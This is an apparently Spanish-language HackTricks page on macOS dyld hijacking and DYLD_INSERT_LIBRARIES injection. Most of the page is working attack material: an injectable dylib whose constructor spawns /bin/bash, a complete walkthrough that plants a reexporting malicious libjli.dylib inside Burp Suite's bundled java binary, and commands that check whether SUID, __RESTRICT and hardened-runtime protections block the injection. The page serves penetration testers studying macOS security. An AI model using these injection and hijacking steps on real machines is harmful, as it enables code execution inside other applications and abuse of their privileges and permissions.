hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
carlospolop 466ebcbb16 f
2023-06-05 20:30:03 +02:00

9.5 KiB

macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Ejemplo básico de DYLD_INSERT_LIBRARIES

Librería para inyectar y ejecutar una shell:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
    syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
    printf("[+] dylib injected in %s\n", argv[0]);
    execv("/bin/bash", 0);
}

Binario a atacar:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
    printf("Hello, World!\n");
    return 0;
}

Inyección:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Ejemplo de Secuestro de Dyld

El binario vulnerable objetivo es /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java.

{% tabs %} {% tab title="LC_RPATH" %} {% code overflow="wrap" %}

# Check where are the @rpath locations
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep LC_RPATH -A 2
          cmd LC_RPATH
      cmdsize 32
         path @loader_path/. (offset 12)
--
          cmd LC_RPATH
      cmdsize 32
         path @loader_path/../lib (offset 12)

{% endcode %} {% endtab %}

{% tab title="@loader_path" %} {% code overflow="wrap" %}

# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep "@rpath" -A 3
         name @rpath/libjli.dylib (offset 24)
   time stamp 2 Thu Jan  1 01:00:02 1970
      current version 1.0.0
compatibility version 1.0.0

{% endcode %} {% endtab %}

{% tab title="entitlements" %}

codesign -dv --entitlements :- "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java"
[...]com.apple.security.cs.disable-library-validation[...]

{% endtab %} {% endtabs %}

Con la información anterior sabemos que no está verificando la firma de las bibliotecas cargadas y está intentando cargar una biblioteca desde:

  • /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib
  • /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib

Sin embargo, la primera no existe:

pwd
/Applications/Burp Suite Professional.app

find ./ -name libjli.dylib
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib

¡Así que es posible secuestrarlo! Crea una biblioteca que ejecute algún código arbitrario y exporte las mismas funcionalidades que la biblioteca legítima reexportándola. Y recuerda compilarla con las versiones esperadas:

{% code title="libjli.m" %}

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
    NSLog(@"[+] dylib hijacked in %s",argv[0]);
}

{% endcode %}

Compílalo:

{% code overflow="wrap" %}

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation libjli.m -Wl,-reexport_library,"/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" -o libjli.dylib
# Note the versions and the reexport

{% endcode %}

La ruta de reexportación creada en la biblioteca es relativa al cargador, cambiémosla por una ruta absoluta a la biblioteca a exportar:

{% code overflow="wrap" %}

#Check relative
otool -l libjli.dylib| grep REEXPORT -A 2
         cmd LC_REEXPORT_DYLIB
         cmdsize 48
         name @rpath/libjli.dylib (offset 24)

#Change to absolute to the location of the library
install_name_tool -change @rpath/libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" libjli.dylib

# Check again
otool -l libjli.dylib| grep REEXPORT -A 2
          cmd LC_REEXPORT_DYLIB
      cmdsize 128
         name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

{% endcode %}

Finalmente, simplemente cópielo a la ubicación secuestrada:

{% code overflow="wrap" %}

cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib"

{% endcode %}

Y ejecuta el binario y comprueba que la biblioteca se ha cargado:

./java
2023-05-15 15:20:36.677 java[78809:21797902] [+] dylib hijacked in ./java
Usage: java [options] <mainclass> [args...]
           (para ejecutar una clase)

{% hint style="info" %} Se puede encontrar un buen artículo sobre cómo aprovechar esta vulnerabilidad para abusar de los permisos de la cámara de Telegram en https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ {% endhint %}

Escala mayor

Si planeas intentar inyectar bibliotecas en binarios inesperados, puedes comprobar los mensajes de eventos para averiguar cuándo se carga la biblioteca dentro de un proceso (en este caso, elimina el printf y la ejecución de /bin/bash).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'

Verificar restricciones

SUID y SGID

# Make it owned by root and suid
sudo chown root hello
sudo chmod +s hello
# Insert the library
DYLD_INSERT_LIBRARIES=inject.dylib ./hello

# Remove suid
sudo chmod -s hello

Sección __RESTRICT con segmento __restrict

gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict

Tiempo de ejecución endurecido

Cree un nuevo certificado en el Keychain y úselo para firmar el binario:

{% code overflow="wrap" %}

codesign -s <cert-name> --option=runtime ./hello
DYLD_INSERT_LIBRARIES=inject.dylib ./hello

codesign -f -s <cert-name> --option=library ./hello
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert

codesign -s <cert-name> inject.dylib
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Throw an error because an Apple dev certificate is needed

{% endcode %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥